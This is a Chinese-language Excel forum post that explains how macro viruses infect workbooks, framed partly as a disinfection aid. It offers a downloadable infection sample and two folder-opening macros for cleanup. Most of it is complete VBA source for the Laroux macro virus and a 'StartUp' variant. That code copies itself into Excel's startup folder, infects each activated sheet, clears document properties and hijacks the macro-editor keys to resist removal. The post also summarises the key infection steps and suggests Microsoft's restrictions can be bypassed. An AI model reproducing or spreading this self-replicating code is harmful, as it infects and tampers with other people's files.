返回列表 上一主題 發帖

簡易的EXCEL宏感染原理檔案

HUNGCHILIN
　暱稱: 阿吉
　頭銜: 不恥下問,不斷學習,才會進步

版主Rank: 7Rank: 7Rank: 7

帖子
647 
主題
190 
精華
24 
積分
1037 
點名
0  
作業系統
windows7 
軟體版本
Office 2010 ; OOO3.0 ; Google 
閱讀權限
100 
性別
男 
來自
竹南 
註冊時間
2010-5-2 
最後登錄
2022-6-24 

貴賓勳章熱烈參與勳章好學求知勳章
1# 跳轉到 » 倒序看帖
打印
tT
發表於 2012-2-23 20:38 | 只看該作者

簡易的EXCEL宏感染原理檔案

本帖最後由 HUNGCHILIN 於 2012-2-23 20:59 編輯

這個是一個簡易的感染原理檔案
不是什麼高技巧，僅提供一個思維與解毒想法
不熟悉EXCEL的人請勿下載

下列這則是檔中檔型感染，一開啟有開宏就會感染，且感染兩處位置
兩處可以互相支援 就是刪除兩處之另一處會複製新感染過來，這邊為避免過於複雜
只用單邊支援就是一處被刪會支援複製新感染過來，另一處被刪不會支援複製新感染過來

是個好玩的檔

a.rar (12.74 KB)

無法解除者
請運行下列，兩個程序，關閉excel後，刪除run出的兩個資料夾內的所有檔案，即可

Sub ApplicationStartupPathA()
'Microsoft Excel 啟動資料夾的完整路徑。
'設定引用項目Microsoft Shell Controls And Automation
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.Path & "\XLSTART\"  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub

Sub StartupPathA()
On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub


startup是Laroux 的變種感染程式
Laroux 巨集病毒其延伸變種病毒為有許多其中較著名的有:
1.BINV.XLS
2.StartUp
3.RESULTS
等多種

病毒名稱：X97M_Laroux.A ，別名：Laroux, Laroux.A, XM_Laroux 。病毒特點：aroux是第一個為MS Excel編寫的巨集病毒。當被該病毒感染的文檔打開時，宏Check_ files被喚醒，並且PERSONAL.XLS被感染。其他檔也會在活動時被感染，檔屬性部分的標題、主題、作者、關鍵字和內容被病毒清除。該病毒不是破壞性的，它的宏也不對用戶隱藏，可以用Excel的工具--巨集選項找到它。 除了複製，該病毒無重大意義。它感染Excel工作表，創建一個名為Personal的隱藏工作表，被感染的檔包含模組laroux，被感染的工作表包含宏“auto_open”和“check_files”.
　　該病毒會安裝一個被感染文檔到檔夾XLSTART，任何在檔夾XLSTART中的Excel文檔在啟動Excel時被裝載病毒
。 如果XLSTART路徑下已存在名為PERSONAL.XLS的檔，病毒就不會對系統進行感染。

Laroux病毒原型碼:

Sub auto_open()
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "personal.xls!check_files"
    Case Else
End Select
End Sub
----------------------------------------------------------------------------------------------------------------------------
Startup病毒碼:

Startup模組中
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub
Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub
Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

----------------------------------------------------------------------------------------------------------------------------
結論
這幾個感染程序用到下列3個重點
1.Application.StartupPath  '私用啟動位置
2.Application.OnSheetActivate = ""   '舊版vba OnSheetActivate屬性
3.ThisWorkbook.Sheets("StartUp").Copy '一般sheet copy用法

上述程式碼是開放的，但很多人看完還是做不出來如何感染.就算你看完程式
最重要的是第3點不懂，是什麼也做不出來。

關於第3點原理作法說明:
http://forum.twbts.com/thread-5794-1-1.html
http://forum.twbts.com/thread-51-1-1.html

雖然微軟後續防止了很多位址不能運行宏，但我不認為 檔案儲存位置是最重要的 還是有很多辦法可以運作
收藏 分享
Hung-Chi Lin/林宏吉
HUNGCHILIN/林宏吉的OFFICE專欄

        靜思自在 : 【停滯不前，終無所得】人都迷於尋找奇蹟，因而停滯不前；縱使時間再多、路再長，也了無用處，終無所得。
返回列表 上一主題